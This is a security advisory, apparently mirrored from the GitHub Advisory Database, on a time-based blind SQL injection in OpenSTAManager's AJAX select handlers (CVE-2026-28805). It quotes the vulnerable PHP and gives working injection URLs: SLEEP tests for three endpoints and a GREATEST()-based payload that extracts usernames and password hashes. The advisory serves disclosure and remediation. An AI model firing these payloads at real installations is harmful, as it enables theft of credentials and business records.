devcode-it/openstamanager
Affected
- introduced
0, fixed2.10.2(ecosystem)
Fixed versions
2.10.2
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-28805
OpenSTAManager has a Time-Based Blind SQL Injection via options[stato] Parameter
Description
Multiple AJAX select handlers in OpenSTAManager <= 2.10.1 are vulnerable to Time-Based Blind SQL Injection through the options[stato] GET parameter. The user-supplied value is read from $superselect['stato'] and concatenated directly into SQL WHERE clauses as a bare expression, without any sanitization, parameterization, or allowlist validation.
An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including usernames, password hashes, financial records, and any other information stored in the MySQL database.
Affected Endpoints
Three modules share the same vulnerability pattern:
1. Preventivi (Quotes) - Primary
GET /ajax_select.php?op=preventivimodules/preventivi/ajax/select.php, line 60options[idanagrafica] (any valid ID)Vulnerable code:
// modules/preventivi/ajax/select.php, lines 59-60
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
$where[] = '('.$stato.' = 1)';
The $stato variable is inserted as a bare expression inside parentheses. The resulting SQL fragment becomes ({user_input} = 1), allowing an attacker to break out of the expression and inject arbitrary SQL.
2. Ordini (Orders)
GET /ajax_select.php?op=ordini-clientemodules/ordini/ajax/select.php, line 52options[idanagrafica] (any valid ID)Vulnerable code:
// modules/ordini/ajax/select.php, lines 51-52
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_fatturabile';
$where[] = '`or_statiordine`.'.$stato.' = 1';
The $stato variable is inserted as a column name reference. The resulting SQL fragment becomes `or_statiordine`.{user_input} = 1, allowing injection after the table-column reference.
3. Contratti (Contracts)
GET /ajax_select.php?op=contrattimodules/contratti/ajax/select.php, line 57options[idanagrafica] (any valid ID)Vulnerable code:
// modules/contratti/ajax/select.php, lines 56-57
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';
The $stato variable is inserted inside a subquery. The resulting SQL fragment becomes WHERE {user_input} = 1), allowing an attacker to close the subquery and inject into the outer query.
Root Cause Analysis
Data Flow
options[stato]=<payload> to /ajax_select.phpajax_select.php (line 30) reads the value via filter('options'), which applies HTMLPurifier sanitization> character, but does NOT strip SQL keywords (SELECT, SLEEP, IF, UNION, etc.) or SQL-significant characters ((, ), =, ', etc.)AJAX::select() in src/AJAX.php (line 40)AJAX::getSelectResults() assigns $superselect = $options (line 273) and requires the module's select.php file (line 275)select.php reads $superselect['stato'] and concatenates it directly into the $where[] arrayAJAX::selectResults() joins all WHERE elements with AND and executes the query via Query::executeAndCount() (line 120)Why HTMLPurifier is Insufficient
HTMLPurifier is an HTML sanitization library designed to prevent XSS attacks. It is not an SQL injection prevention mechanism. Specifically:
SELECT, SLEEP, IF, UNION, FROM, WHERE=, (, ), ,, +, -, *> character (used in HTML), which can be bypassed using MySQL's GREATEST() functionProof of Concept
Prerequisites
Step 1: Authenticate
POST /index.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
op=login&username=<user>&password=<pass>
Save the PHPSESSID cookie from the Set-Cookie response header.
Step 2: Verify Injection (SLEEP test)
Baseline request (normal response time ~200ms):
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=is_pianificabile HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<session>
Injection request (response time ~10 seconds):
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)+AND+(1 HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<session>
Expected result: The response is delayed by approximately 10 seconds, confirming that the SLEEP(10) function was executed by the database server. The response body in both cases is identical: {"results":[],"recordsFiltered":0}.
<img width="934" height="491" alt="image" src="https://github.com/user-attachments/assets/27beff84-3e25-43e1-b484-76db25c0faa8" />
Step 3: Data Extraction (demonstrating impact)
Using binary search with time-based boolean conditions, an attacker can extract arbitrary data. The > character is stripped by HTMLPurifier, so the GREATEST() function is used as an equivalent:
Extract username length:
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(IF((GREATEST(LENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1)),3%2B1)%3DLENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1))),SLEEP(2),0)))a)+AND+(1 HTTP/1.1
This technique was used to successfully extract:
admin (5 characters, extracted character by character)$2y$10$qAo04wNbhR9cpxjHzrtcnu... (bcrypt)8.3.0PoC for Other Endpoints
Ordini (orders):
GET /ajax_select.php?op=ordini-cliente&options[idanagrafica]=1&options[stato]=is_fatturabile+%3D+1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+1 HTTP/1.1
Contratti (contracts):
GET /ajax_select.php?op=contratti&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+(1 HTTP/1.1
Both endpoints show the same SLEEP-based timing delay, confirming the injection.
Impact
INSERT/UPDATE capabilities via subqueries, an attacker may be able to modify data.SLEEP() with large values or resource-intensive queries to cause denial of service.Proposed Remediation
Option A: Allowlist Validation (Recommended)
High Basis: The source's own band: HIGH
0, fixed 2.10.2 (ecosystem)2.10.2
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0